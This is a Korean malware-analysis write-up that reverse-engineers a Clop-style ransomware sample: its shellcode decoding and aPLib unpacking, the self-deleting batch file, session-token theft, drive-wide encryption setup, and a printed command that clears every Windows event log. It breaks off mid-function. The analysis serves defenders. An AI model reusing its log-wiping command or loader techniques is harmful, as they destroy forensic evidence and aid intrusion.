0. 목차
1. 악성코드 개요
1.1) 개요
11월 22일 E사의 오프라인 점포 23곳이 랜섬웨어 감염으로 긴급 휴점에 돌입했다. 유포경로에 대한 정보는 아직 밝혀진게 없으며 최근에 발생한 이슈임에 따라, 랜섬웨어의 동작과정을 자세하게 분석해볼 것이다
1.2) 분석 정보
분석 대상
Index | Tags |
---|---|
MD5 | 8b6c413e2539823ef8f8b85900d19724 |
SHA256 | 5d9e5c7b1b71af3c5f058f8521d383dbee88c99ebe8d509ebc8aeb52d4b6267b |
Function | Crypto |
File Size | 182KB |
File Type | Win32 EXE |
Creation Time | 2020-11-20 18:18:18 |
2. 상세분석
2.1) 행위 분석
악성코드는 실제 Window Service 형태로 등록되어 동작한다
악성코드가 실행되면 내부에서 WinCheckDRVs
라는 이름의 서비스를 등록한뒤 해당 서비스를 실행시킨다. 서비스가 정상적으로 동작되면 몇초 후 암호화된 파일들과 키파일 그리고 랜섬노트가 생성된다. 윈도우 Service로 등록되었기 때문에 백그라운드에서 지속적으로 파일들을 암호화한다
- test.txt ⇒ 암호화된 파일
- test.txt.Cllp ⇒ 키파일
- README_README.txt ⇒ 랜섬노트
2.2) 쉘코드 추출
- WinMain()
메인함수 초반부분을 보면 여러 동작을 하는데 별 의미없는 로직이 많다. 또한 위 그림과 같이 50만번 루프를 도는 로직을 볼 수 가 있는데 이 역시 의미없는 로직이다. 단지 분석가들의 분석 시간을 딜레이 시키는 역할로 보면 된다.
추가로 분서 시스템 내에서 초기 몇십만개의 명령문을 먼저 테스트하고 해당 바이너리가 악성행위를 하는지 안하는지 확인하는 경우도 있다고 한다. 이런경우 위 더미 루프를 이용하여 우회하려는 목적 중 하나이기도 하다. 실제 의미있는 동작은 아래의 함수부터 시작된다
- sub_401000()
VirtualAlloc
을 이용하여 메모리 영역을 할당받고 해당 영역을 함수포인터형태로 저장함으로 보아 해당 영역에 쉘코드를 담을것으로 추론된다. 또한&unk_40933C
주소를 저장한다. 해당 영역에는 다음과 같은 값이 저장되어 있다unk_40933c
주소를 저장하고 for문을 돌면서 할당받은 memory 영역에 특정 연산을 거친 값이 저장되는데 이는 .data 영역에 들어있는 값을 0x4559와 xor 등의 연산을 통해 계산된 결과 값이다.이렇게 루프를 총 0x564만큼 돌면서 4바이트씩 인코드되어있던 쉘코드를 디코딩후 저장한다. 그다음
GetModuleHandleW()
함수를 호출하여 kernel32 dll의 핸들을 받아온다.이제 얻어온 kernel32의 핸들값을 인자로하여 디코딩된 쉘코드를 호출한다. 디코딩된 쉘코드를 동적으로 디버깅하여 뽑아보자
0x240000 영역의 주소가
VirtualAlloc
으로 할당받은 영역이고 해당 영역에 0x564*4 만큼의 디코딩된 쉘코드가 써졌다. 따라서 0x240000 ~ 0x240000+0x564*4 만큼을 덤프하면 shellcode를 추출할 수 있다.
2.3) 쉘코드 복호화
추출한 쉘코드를 IDA로 확인해보면 이 역시 함수가 몇 개없는 것으로 보아 또 뭐가 되있는것 같다. 확인해보면 여러 API 문자열을 변수에 저장을 한다음 al(hkernel32 핸들), v11(GeProcAddress)를 인자로 하여 sub_1110()
함수를 호출한다. 해당 함수는 다음과 같은 기능을 한다
sub_1110() ← *토글 선택*
해당 함수는 pe feature를 파싱하는 기능으로 kernel32.dll의 0x3C+0x78 오프셋에 위치해 있는 필드값을 가져온다. 해당 필드는 export table의 주소로써 다음과 같은 pe 구조를 띈다
PE 헤더를 기준으로 0x3C 오프셋에는 IMAGE_NT_HEADER 구조체의 시작 오프셋 값이 들어있다. 그다음 NT 헤더를 기준으로 0x18에는
Optional Header
가 존재하는데, 이는 NT헤더 구조체의SizeofOptionalHeader
필드 값에 따라서 가변이다. Optional Header + 0x60에는 export table 구조체의 시작 오프셋 값이 들어있다.결국 v4는
kernel32.dll
의 export table의 주소가 담기게 된다. 그다음 루프를 돌면서sub_FE0()
를 호출한다.sub_FE0()
함수의 반환값이 0이 되야지 0이 return 안될것이다. 해당 함수를 또 봐보자첫번재 인자는 'GetProcAddress' 이고 a2에는 kernel32+export_table[8]+i의 값이 들어간다. 결국 a2는 export table의 AddressOfNames 필드의 값이 들어가고 찾고자 하는 함수명을 해당 배열에 찾으면 0이 반환된다.
요약하자면 export table에서 두번째 인자로 넘어온 함수의 주소값을 구하는 기능이다.
결국 result에는 GetProcAddress
함수의 주소가 담기고 GetPorcAddress()
를 이용하여 사용하려는 api 들의 주소값들은 구한다. (v24,v18,v17 ...)
VirtualAlloc, VirtualFree, VirtualProtect, TerminateThread, LoadLibrayA 함수들의 주소를 정상적으로 구했다면 VirtualQuery()
를 호출한다.
retaddr
는 맨처음 악성코드에서 call shellcode() 의 호출이 끝나고 수행될 주소가 담겨져 있다. 즉 맨처음 악성코드명을 sample
이라고 했을때 sample
바이너리가 매핑된 주소공간 페이지의 정보가lpBuffer에 담긴다.
lpBuffer는 구조체 변수로 다음과 같은 필드로 구성된다
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
WORD PartitionId;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
lpBuffer[1] 값을 baseAddr변수에 저장한다. 해당 영역은 sample.exe의 ImageBase 주소이다.
그다음 del_flag
가 참이면 어떤 함수를 호출한다. 이때의 del_flag
는 sample.exe 에서
'call shellcode(arg1,arg2)' 명령어의 두번째 인자이다. 사실 현재 call shellcode는
두번째 인자가 0이여서 조건문에 만족하진 않는다. 하지만 어떤 함수인지 한번 살펴보자.
sub_8C0() ← *토글 선택*
void __cdecl sub_8C0(int args_, int (__stdcall *GetProcAddress_)(int, char *)) { ...생략... strcpy(v4, "ex.bat"); strcpy(v22, "CreateFileA"); strcpy(v16, "CreateProcessA"); strcpy(v5, "WriteFile"); strcpy(v20, "CloseHandle"); strcpy(v6, "GetModuleFileNameA"); strcpy(v11, "lstrcpyA"); strcpy(v12, ":R\r\ndel \""); strcpy(v8, "\"\r\nif exist \""); strcpy(v7, "\" goto R\r\ndel \""); v19[0] = 34; v19[1] = 13; v19[2] = 10; v19[3] = 0; v17 = (int (__stdcall *)(char *, int, _DWORD, _DWORD, int, int, _DWORD))GetProcAddress_(args_, v22); lstrcpyA = (void (__stdcall *)(char *, char *))GetProcAddress_(args_, v11); v23 = (void (__stdcall *)(_DWORD, char *, int))GetProcAddress_(args_, v6); v24 = (void (__stdcall *)(int))GetProcAddress_(args_, v20); WriteFile = (void (__stdcall *)(int, char *, int, char *, _DWORD))GetProcAddress_(args_, v5); v3 = (void (__stdcall *)(_DWORD, char *, _DWORD, _DWORD, _DWORD, int, _DWORD, _DWORD, int *, char *))GetProcAddress_(args_, v16); v23(0, v25, 260); result = v17(v4, 0x40000000, 0, 0, 2, 128, 0);// CreateFileA if ( result != -1 ) { memset(v14, 0, 256); lstrcpyA(v14, v12); ... WriteFile(result, v14, v2, &v7[16], 0); ... CreateProcessA(0, v4, 0, 0, 0, 16, 0, 0, v9, v18); } }
CreateFileA
함수로 ex.bat이름의 배치파일을 만든다. 배치파일의 내용은 루프를 돌면서 자가삭제를 진행한다. 생성된 ex.bat 코드는 다음과 같다:R del "C:\Users\IEUser\Desktop\malware\clob2020\sample" if exist "C:\Users\IEUser\Desktop\malware\clob2020\sample" goto R del "ex.bat"
돌아가고 있는 프로세스를 확인해보면 cmd.exe 프로세스가 새로 생성된걸 볼 수 있다. 지금은 sample 프로세스가 동작중이라 삭제는 안되고, 프로세스가 종료되는 시점에 sample 과 ex.bat을 삭제할 것이다
요약하자면 위 함수는 자가 삭제 배치파일을 만들어 흔적을 지우는것 같다. 계속 이어나가보자
VirtualAlloc
으로 각각 0x19D48, 0x20200 만큼의 메모리를 할당한다. 각각의 사이즈는 sample.exe에서 call shellcode 에서 넘어온 인자이다.
메모리를 할당받은 다음, args[2] 사이즈인 0x19D48만큼 루프를 돌면서 할당받은 v27배열에 특정연산을 거친 값을 넣는다. args[1]은 초기 sample.exe에서 디코딩하기 전 인코딩된 쉘코드 부분이다. 루프가 끝나면 v27에는 새롭게 연산된 쉘코드가 쌓일것이다
그다음 다시 for문을 돌면서 while루프의 결과로 씌여진 v23 배열에 특정연산을 한번더 거친다. 그 후 v23과 아까 0x20200 사이즈로 할당받은 v27영역을 인자로하여 sub_1270
함수를 호출한다. 해당 함수의 반환값이 참이면 조건문 안의 로직이 수행된다. 해당 함수가 어떤기능을 하는지 살펴보자.
sub_1270 ← *토글 선택*
char *__cdecl sub_1270(char *a1, char *a2) { .....생략..... while ( !v7 ) { if ( sub_11C0(&v4) ) { if ( sub_11C0(&v4) ) { if ( sub_11C0(&v4) ) { v8 = 0; for ( i = 4; i; --i ) { v2 = sub_11C0(&v4); v8 = v2 + 2 * v8; } if ( v8 ) *v5 = v5[-v8]; else *v5 = 0; ++v5; v12 = 0; } else { v8 = (unsigned __int8)*v4++; v9 = (v8 & 1) + 2; v8 >>= 1; if ( v8 ) { memset(v5, v5[-v8], v9); v5 += v9; v9 = 0; } else { v7 = 1; } v10 = v8; v12 = 1; } } else { v8 = sub_1230(&v4); if ( v12 || v8 != 2 ) { if ( v12 ) v8 -= 2; else v8 -= 3; v8 <<= 8; v8 += (unsigned __int8)*v4++; v9 = sub_1230(&v4); if ( v8 >= 0x7D00 ) ++v9; if ( v8 >= 0x500 ) ++v9; if ( v8 < 0x80 ) v9 += 2; memset(v5, v5[-v8], v9); v5 += v9; v9 = 0; v10 = v8; } else { v8 = v10; v9 = sub_1230(&v4); memset(v5, v5[-v8], v9); v5 += v9; v9 = 0; } v12 = 1; } } else { *v5++ = *v4++; v12 = 0; } } return (char *)(v5 - a2); }
while 루프를 돌면서 뭔지모를 연산을 한다. 이럴땐 상수값들은 검색해보면서 어떤 기능인지 추론할 수가 있다고 한다.
상수를 중심으로 검색해보면 aplib이라는 압축 관련 알고리즘이 나온다. aplib decompression 이라는 키워드를 중심으로 다시 검색해보면 아래와 같은 코드를 찾을 수 있다
sub_1270
함수와 위 코드를 매칭해보면 0x7d00, 0x500, 0x80 상수 비교하는 로직이 동일하다. 따라서 위 함수는 aplib 압축해제 기능이라고 보면 된다. 즉 디코딩된 쉘코드를 압축해제하여 v27 변수에 저장한다. 이 역시 동적으로 추출하면 쉽게 뽑을수 있다
결국 위 함수도 어떤 압축된 쉘코드를 추출하를 기능이므로 우리가 궁금한건 v27에 담긴 값이다.
0x5E0000+0x20200 만큼의 영역에 압축해제된 쉘코드가 담기므로 위 영역을 덤프떠보자
덤프뜬 쉘코드를 디컴파일러로 확인해보면 이전과는 다르게 많은 함수들이 나오는걸 볼 수 있다. 해당 쉘코드가 실제 악성행위를 하는 바이너리이다. 이렇게 덤프를 뜬 쉘코드가 실제 악성행위를 한다는것을 확인했으므로 해당 쉘코드가 어떻게 호출되는지를 이어서 살펴보자.
if ( sub_1270(v22, decompress_shellcode) ) // decompress success!!
{
VirtualFree(v22, 0, 0x8000);
v11 = &decompress_shellcode[*((_DWORD *)decompress_shellcode + 0xF)];
if ( VirtualProtect(baseAddr, *((_DWORD *)v11 + 0x14), 0x40, v30) )
{
memset(baseAddr, 0, *((_DWORD *)v11 + 0x14));// memset(0x400000,0,27000)
overwrite_sample_to_decomp_shell((char *)baseAddr,decompress_shellcode, *((_DWORD *)v11 + 21));
// sample <- decomp_shell~+0x400
v11 = (char *)baseAddr + *((_DWORD *)decompress_shellcode + 0xF);// v11=0x4000f8
v9 = &v11[*((unsigned __int16 *)v11 + 0xA) + 0x18];// v9 = .text 영역
// 즉 decompress된 쉘코드를 sample로 덮은다음 sample의 .text 주소임
for ( j = 0; j < *((unsigned __int16 *)v11 + 3); ++j )// 7회반복
// sub_FA0(0x401000+0x10000*i,decom_shel+0x400+0xFC00*i,0xfc00)
overwrite_sample_to_decomp_shell((char *)baseAddr + *(_DWORD *)&v9[40 * j + 12],&decompress_shellcode[*(_DWORD *)&v9[40 * j + 20]], *(_DWORD *)&v9[40 * j + 16]);
if ( *((void **)v11 + 13) != baseAddr )
sub_670((int)baseAddr, (int)baseAddr - *((_DWORD *)v11 + 13));
import_func((char *)baseAddr, LoadLibraryA, (int (__stdcall *)(int, int))GetprocAddress_);
for ( k = NtCurrentTeb()->NtTib.ExceptionList; LOBYTE(k->Next) != 0xFF; k = k->Next )
;
v20 = (int (*)(void))((char *)baseAddr + *((_DWORD *)v11 + 10));
sub_860((int)baseAddr, (int)v20);
v18 = v20(); // v20() -> 43..c2c() 가 결국 winmain
TerminateThread(-2, v18);
}
}
중요 부분만 형광표시를 해놨다. 요놈들 위주로 살펴보자
- 메모리 권한 변경
if ( VirtualProtect(baseAddr, *((_DWORD *)v11 + 0x14), 0x40, v30) )
baseAddr은 현재 sample 의 ImageBase 주소를 가리키고 있다.
VitualProtect
함수를 통해 sample 바이너리의 메모리 권한을 EWX로 변경한다.
이를 통해 메모리 상에 올라와있는 원본 바이너리에 추출한 쉘코드를 overwrite할 것으로 보인다
- sample + 0x400 영역을 overwrite
overwrite_sample_to_decomp_shell((char *)baseAddr,decompress_shellcode, *((_DWORD *)v11 + 21));
baseAddr(0x40000) + 0x400 에는 .text 영역의 주소이다. 따라서 .text 영역 이전의 pe 정보들을 덮는다는걸 알 수 있다
- overwrite 7 sections → sample
for ( j = 0; j < *((unsigned __int16 *)v11 + 3); ++j )// 7회반복 overwrite_sample_to_decomp_shell((char *)baseAddr + *(_DWORD *)&v9[40 * j + 12],&decompress_shellcode[*(_DWORD *)&v9[40 * j + 20]], *(_DWORD *)&v9[40 * j + 16]);
추출한 쉘코드의 각 섹션데이터를 samplme로 overwrite한다.
- sample IAT 복구
import_func((char *)baseAddr, LoadLibraryA, (int (__stdcall *)(int, int))GetprocAddress_);
해당 함수내부에서는 필요한 DLL, API 를 구하여 overwrite한 sample의 IAT를 복구한다. 즉 기존 sample을 덮었으므로 기존 IAT는 망가졌기 때문에 이를 복구하는것 이다.
- 실제 추출한 쉘코드 호출
v18 = v20(); // v20() -> 43..c2c() 가 결국 winmain
이제 overwrite한 sample로 뛰게된다. 해당영역은 기존의 영역이 아닌 추출된 쉘코드 값이 담겨있다.
0x403CA3 으로 이동하게 되고 해당 영역은
char *start() { __security_init_cookie(); return __scrt_common_main_seh(); }
추출한 쉘코드의 start() 영역이다. 초기 세팅 후 WinMain으로 이동하게 된다
2.4) 악성행위 분석
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
...생략...
if ( GetACP() )
{
ServiceStartTable.lpServiceName = L"WinCheckDRVs";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)sub_411B40;
v33 = 0;
v34 = 0;
if ( !StartServiceCtrlDispatcherW(&ServiceStartTable) )
TerminateProcess((HANDLE)0xFFFFFFFF, 0);
}
v18(0xFFFFFFFF);
TerminateProcess((HANDLE)0xFFFFFFFF, 0);
return 0;
}
초기 WinCheckDRVs
이름의 서비스명을 등록하고 StartServiceCtrlDispatcherW
함수를 호출하여 등록한 sub_411B40
핸들러가 수행된다. 윈도우 서비스 동작과정은 아래와 같다
StartServiceCtrlDispatcherW
함수가 호출되고 서비스 컨트롤러에서 이를 받아 처리한다. 그다음 SCM을 통해 등록한 서비스 메인 핸들러가 실제 호출되고 여기서 실 동작이 일어난다. 해당 악성코드에서는 SvcMain()이 sub_411B40
이다.
참고로 윈도우 서비스를 디버깅하기위해선 일련의 작업이 필요하다
SERVICE_STATUS_HANDLE __stdcall sub_411B40(int a1, int a2)
{
SERVICE_STATUS_HANDLE result; // eax
HANDLE v3; // eax
result = RegisterServiceCtrlHandlerW(L"WinCheckDRVs", HandlerProc);
hServiceStatus = result;
if ( result )
{
ServiceStatus.dwWaitHint = 0;
ServiceStatus.dwServiceType = 16;
ServiceStatus.dwControlsAccepted = 0;
ServiceStatus.dwCurrentState = 2;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(result, &ServiceStatus);
hHandle = CreateEventW(0, 1, 0, 0);
if ( hHandle )
{
ServiceStatus.dwControlsAccepted = 1;
ServiceStatus.dwCurrentState = 4;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(hServiceStatus, &ServiceStatus);
v3 = CreateThread(0, 0, sub_411CB0, 0, 0, 0);
WaitForSingleObject(v3, 0xFFFFFFFF);
CloseHandle(hHandle);
ServiceStatus.dwControlsAccepted = 0;
ServiceStatus.dwCurrentState = 1;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 3;
}
else
{
ServiceStatus.dwControlsAccepted = 0;
ServiceStatus.dwCurrentState = 1;
ServiceStatus.dwWin32ExitCode = GetLastError();
ServiceStatus.dwCheckPoint = 1;
}
result = (SERVICE_STATUS_HANDLE)SetServiceStatus(hServiceStatus, &ServiceStatus);
}
return result;
}
정리하면 다음과 같다
- WinMain에서 SCM에 서비스를 등록한다 -
StartServiceCtrlDispatcherW
- SCM의 제어를 처리할 핸들러를 등록한다 -
RegisterServiceCtrlHandlerW
- SCM에 작업이 시작됨을 알린다 -
SetServiceStatus
윈도우 서비스로 동작할 일련의 위 과정을 거친 뒤 쓰레드를 생성하여 핸들러 함수(sub_411CB0)가 수행된다
주요함수1) sub_411CB0()
DWORD __stdcall sub_411CB0(LPVOID lpThreadParameter)
{
...
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
do
{
v2 = CreateMutexW(0, 0, L"GKLJHWRnjktn32uyhrjn23io#666");
if ( WaitForSingleObject(v2, 0) )
{
v1(v2);
ExitProcess(0);
}
if ( GetACP() )
{
v3 = GlobalAlloc(0x40u, 0x104u);
v4 = GlobalAlloc(0x40u, 0x104u);
v5 = sub_411160(L"EXPLORER.EXE");
sub_411240(v5, (int)v3, (int)v4);
sub_4116B0(v3);
ShellExecuteA(
0,
"open",
"cmd.exe",
"/C for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"",
0,
0);
}
.....
CreateMutexW
,WaitForSingleObject
: 중복실행 방지를 위한 뮤텍스 생성
sub_41160("EXPLORER.EXE")
: explorer.exe 프로세스 ID값 획득HANDLE __cdecl sub_411160(PCWSTR pszSrch) { HANDLE result; // eax HANDLE v2; // esi int v3; // eax PROCESSENTRY32W pe; // [esp+Ch] [ebp-438h] BYREF WCHAR String1[260]; // [esp+238h] [ebp-20Ch] BYREF result = CreateToolhelp32Snapshot(2u, 0); v2 = result; if ( result == (HANDLE)-1 || (pe.dwSize = 556, (result = (HANDLE)Process32FirstW(result, &pe)) == 0) ) { LABEL_5: if ( v2 ) result = (HANDLE)CloseHandle(v2); } else { while ( 1 ) { lstrcpyW(String1, pe.szExeFile); v3 = lstrlenW(String1); CharUpperBuffW(String1, v3); if ( StrStrW(String1, pszSrch) ) break; result = (HANDLE)Process32NextW(v2, &pe); if ( !result ) goto LABEL_5; } CloseHandle(v2); result = (HANDLE)pe.th32ProcessID; } return result; }
CreateToolhelp32Snapshot
: 32bit인 process들의 정보를 가져옴
Process32FirstW
: 첫번째 process 정보를 가져옴
Process32NextW
: 그 다음 process 정보를 가져옴
sub_411240(v5,v3)
: 사용자 계정명 획득void __cdecl sub_411240(DWORD dwProcessId, int buffer) { HANDLE v2; // ebx HANDLE TokenHandle; // [esp+4h] [ebp-4h] BYREF v2 = OpenProcess(0x400u, 0, dwProcessId); if ( v2 ) { TokenHandle = 0; if ( OpenProcessToken(v2, 8u, &TokenHandle) )// explore.exe의 토큰정보 얻음 { sub_411030(TokenHandle, buffer); CloseHandle(TokenHandle); CloseHandle(v2); } else { CloseHandle(v2); } } }
OpenProcess
: explorer.exe 프로세스 핸들값 획득
OpenProcessToken
: explorer.exe 프로세스와 연관된 access token 획득
sub_411030(TokenHandle, buffer)
void __cdecl sub_411030(HANDLE TokenHandle, int buffer) { ..... if ( TokenHandle ) { if ( GetTokenInformation(TokenHandle, TokenUser, 0, 0, &ReturnLength)// 얻은 토큰 핸들로부터 토큰정보 얻기. 즉 explore.exe 토큰정보 || GetLastError() == 122 && (v5 = ReturnLength, v3 = GetProcessHeap(), (v2 = (PSID *)HeapAlloc(v3, 8u, v5)) != 0) ) { if ( GetTokenInformation(TokenHandle, TokenUser, v2, ReturnLength, &ReturnLength) ) { if ( LookupAccountSidW(0, *v2, Name, &cchName, ReferencedDomainName, &cchName, &peUse) ) { lstrcpyW(lpString1, Name); // 획득한 계정명 복사 } else if ( GetLastError() == 1332 ) { return; } } ........... } }
GetTokenInformation
: 위에서 획득한 access token 정보 획득
LookupAccountSidW
: SID를 통한 사용자 계정명 획득
sub_4116B0(v3)
: winsta0\default에 “runrun”을 파라미터로, 서비스 하위 응용프로그램 생성void *__cdecl sub_4116B0(const WCHAR *user_account_name) { ... if ( wcslen(user_account_name) <= 5 ) result = (void *)sub_4112C0(0); else result = (void *)sub_4112C0(user_account_name); v2 = result; if ( result != (void *)-1 ) { ProcessInformation = 0i64; memset(&StartupInfo.lpReserved, 0, 0x40u); StartupInfo.cb = 68; StartupInfo.lpDesktop = L"winsta0\\default"; Environment = 0; if ( CreateEnvironmentBlock(&Environment, v2, 0) ) { GetModuleFileNameW(0, Filename, 0x104u); wsprintfW(CommandLine, L"%s runrun", Filename); if ( CreateProcessAsUserW( v2, 0, CommandLine, 0, 0, 0, 0x8000428u, Environment, 0, &StartupInfo, &ProcessInformation) ) { RevertToSelf(); DestroyEnvironmentBlock(Environment); CloseHandle(ProcessInformation.hThread); result = (void *)CloseHandle(ProcessInformation.hProcess); } else ..... return result; }
sub_4112C0(user_account_name)
: 얻은 사용자 계정명의 사이즈가 5보다 크면 유저명과 동일한 계정의 RD 세션토큰 수집int __cdecl sub_4112C0(LPCWSTR lpString) { ... phToken = 0; ppSessionInfo = 0; v1 = -1; pCount = 0; if ( !WTSEnumerateSessionsW(0, 0, 1u, &ppSessionInfo, &pCount) )// 현재 연결된 세션 리스트 수집 return -1; v3 = 0; if ( !pCount ) goto LABEL_14; v4 = 0; while ( 1 ) { SessionId = *(_QWORD *)&ppSessionInfo[v4].SessionId; if ( ppSessionInfo[v4].State == WTSActive ) // 로그인되어있는 세션정보수집 break; LABEL_12: ++v3; ++v4; if ( v3 >= pCount ) { v1 = -1; goto LABEL_14; } } pBytesReturned = 0; ppBuffer = 0; if ( !lpString ) goto LABEL_21; if ( lstrlenW(lpString) && (!WTSQuerySessionInformationW(0, SessionId, WTSUserName, &ppBuffer, &pBytesReturned) || lstrcmpiW(lpString, ppBuffer)) ) { if ( ppBuffer ) WTSFreeMemory(ppBuffer); goto LABEL_12; } if ( ppBuffer ) WTSFreeMemory(ppBuffer); LABEL_21: v1 = SessionId; LABEL_14: WTSFreeMemory(ppSessionInfo); if ( v1 == -1 || !WTSQueryUserToken(v1, &phToken) ) return -1; phNewToken = (HANDLE)-1; v5 = DuplicateTokenEx(phToken, 0xF01FFu, 0, SecurityImpersonation, TokenPrimary, &phNewToken); v6 = (int)phNewToken; if ( !v5 ) v6 = -1; return v6; }
WTSEnumerateSessionsW
: 원격 데스크탑 세션 호스트 리스트 정보 획득
WTSQuerySessionInformationW
: 활성화된 RD 호스트 세션정보 획득
WTSQueryUserToken
: 활성화된 세션 ID에서 지정한(v1) 로그온 사용자의 Primary Access Token 획득
DuplicateTokenEx
: 위에서 얻은 토큰 정보 복사
sub_4112C0(0)
: 유저명이 5이하면 현재 활성화된 RD 세션토큰 수집
GetModuleFileNameW
: 현재 실행파일의 경로 획득(WinCheckDRVs 서비스 프로그램)
CreateProcessAsUserW
: 복사한 RD 세션 토큰으로 현 서비스 하위에 응용 프로그램 생성. 인자는 runrunexplorer.exe 토큰의 유저명에 해당하는 세션 토큰을 복사하고, 그 토큰 권한으로 프로세스를 만듦. 위 사진을 보면 testtest.exe 서비스 하위에 응용프로그램으로 자기 자신을 다시 추가한 것을 볼 수 가 있다.
ShellExecuteA
: 이벤트 로그 삭제
...
lpParameter = GlobalAlloc(0x40u, 8u);
for ( i = 0; i < 26; ++i )
{
wsprintfW(RootPathName, L"%c:", (unsigned __int16)(i + 'A'));
v6 = GetDriveTypeW(RootPathName);
*lpParameter = 0i64;
memmove_0(lpParameter, RootPathName, 8u);
if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE )
{
v7 = CreateThread(0, 0, sub_411E70, lpParameter, 0, 0);
Sleep(0x3E8u);
v11 = v7;
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
CloseHandle(v11);
}
else
{
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
}
Sleep(0x64u);
}
Sleep(0x1388u);
v8 = CreateThread(0, 0, sub_411000, 0, 0, 0);
v1(v8);
Sleep(0xEA60u);
v9 = CreateThread(0, 0, sub_412000, 0, 0, 0);
v1(v9);
Sleep(0xFFFFFFFF);
}
}
- A: ~ Z: 까지 폴더를 순위하면서 v6에 각 드라이브의 타입을 반환한다 -
GetDriveTypeW
DRIVE_FIXED
,DRIVE_REMOVABLE
타입이면 해당 드라이브르의 path를 인자로 쓰레드를 생성한다 →sub_411E70()
- DRIVE_FIXED : 주로 사용하는 C:나 D: 같은 고정 하드디스크 타입
- DRIVE_REMOVABLE : 제거 가능한 드라이브(ex. USB)
- 즉 위 두개의 타입에 해당하는 모든 드라이브를 순회하며 암호화를 시도한다
CreateThread(0, 0, sub_411000, 0, 0, 0)
: 네트워크 공유 드라이브 암호화 시도
CreateThread(0, 0, sub_412000, 0, 0, 0)
: C 드라이브 암호화 시도
주요함수 2) sub_411E70()
DWORD __stdcall sub_411E70(LPVOID lpThreadParameter)
{
...
lstrcpyW(String1, (LPCWSTR)lpThreadParameter);
Sleep(0x3E8u);
v1 = lstrlenA(Src);
memmove(pszString, Src, v1);
pcbBinary = 2048;
if ( CryptStringToBinaryA(pszString, 0, 0, pbBinary, &pcbBinary, 0, 0) )
{
if ( CryptDecodeObjectEx(1u, (LPCSTR)8, pbBinary, pcbBinary, 0x8000u, 0, &pvStructInfo, &pcbStructInfo) )
{
phProv = 0;
if ( CryptAcquireContextW(&phProv, 0, 0, 1u, 0xF0000000) )
{
phKey = 0;
if ( CryptImportPublicKeyInfo(phProv, 1u, pvStructInfo, &phKey) )
{
Sleep(0x3E8u);
while ( 1 )
{
sub_401BD0(String1, (int)L"*.*", (int)Src, 10, 1, 1, (int)pvStructInfo, phProv, phKey);
Sleep(0x7530u);
sub_401BD0(String1, (int)L"*.*", (int)Src, 10, 1, 0, (int)pvStructInfo, phProv, phKey);
Sleep(0x7530u);
}
}
}
}
}
return 0;
}
우선 초기 Src 변수에 담긴 문자열의 사이즈를 저장하고, pszString 변수에 복사한다. 이 값은 아래와 같다
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCecUuskA+/EYRGu9HUFkpICAgJ e3MeraGTOS8wa6lZfirCt0oRPARUcF1aNVupKfLeqc02BX+MAn3n15EJpoe1SRya iESj5Z+dJl2WBFaYoV/SBg5EQWganz32HN3dhH037t3vrDP7jsQa2lziD32hLd3y SEktD4Gmz87O+0blTQIDAQAB
-----END PUBLIC KEY-----
문자열로 보아 RSA Public key로 추론된다. 그다음 pubkey를 인자로하여 아래의 함수들을 호출한다
CryptStringToBinaryA
: 포맷된 문자열을 바이트 배열로 변환한다.BOOL CryptStringToBinaryA( LPCSTR pszString, DWORD cchString, DWORD dwFlags, // 0 -> Base64, with certificate beginning and ending headers BYTE *pbBinary, // 반환한 바이트 배열을 담는 포인터 DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags );
즉, pbBinary 포인터에 pubkey 문자열이 바이트 배열로 변환되어 저장된다
CryptDecodeObjectEx
: 변환한 pubkey 배열을 구조체 변수로 디코딩BOOL CryptDecodeObjectEx( DWORD dwCertEncodingType,// 1 -> 인코딩 타입 LPCSTR lpszStructType, // 8 const BYTE *pbEncoded, // pbBinary -> 디코딩할 포인터 DWORD cbEncoded, DWORD dwFlags, // 0x8000 -> CRYPT_DECODE_ALLOC_FLAG PCRYPT_DECODE_PARA pDecodePara, void *pvStructInfo,// pvStructInfo -> 디코딩 후 저장할 구조체 DWORD *pcbStructInfo );
CryptAcquireContextW
: 특정 CSP 안에서 현재 사용자의 키 컨테이너 핸들값을 가져옴CSP : 암호화 서비스 제공자 BOOL CryptAcquireContextA( HCRYPTPROV *phProv, // csp 핸들에 대한 포인터 LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags );
CryptImportPublicKeyInfo
: pubkey에 대한 핸들값 획득BOOL CryptImportPublicKeyInfo( HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey );
hCryptProv
: 공개 키를 가져올 때 사용할 암호화 서비스 공급자 (CSP) 의 핸들값
-
pInfo
: 공급자로 가져올 공개 키가 들어 있는 CERT_PUBLIC_KEY_INFO 구조의 주소. 이는 디코딩된 pubkey이다
phKey
: 가져온 공개 키의 핸들을 받는 HCRYPTKEY 변수 의 주소
그다음 이제 루프를 돌면서 sub_401BD0() 함수를 호출한다. 인자에 주목하자
주요함수 3) sub_401BD0()
void *__cdecl sub_401BD0(LPCWSTR path, char *file, int pubkey, int a4, int a5, int a6, int a7, int a8, int a9)
{
SetErrorMode(1u);
memset(String1, 0, 0x410u);
memset(v31, 0, 0x410u);
memset(v33, 0, 0x410u);
lstrcpyW(String1, path);
lstrcatW(String1, L"\\");
lstrcpyW(v33, String1);
lstrcatW(String1, (LPCWSTR)file);
strcmp_ = lstrcmpW;
hFindFile = FindFirstFileW(String1, &FindFileData);
if ( !hFindFile
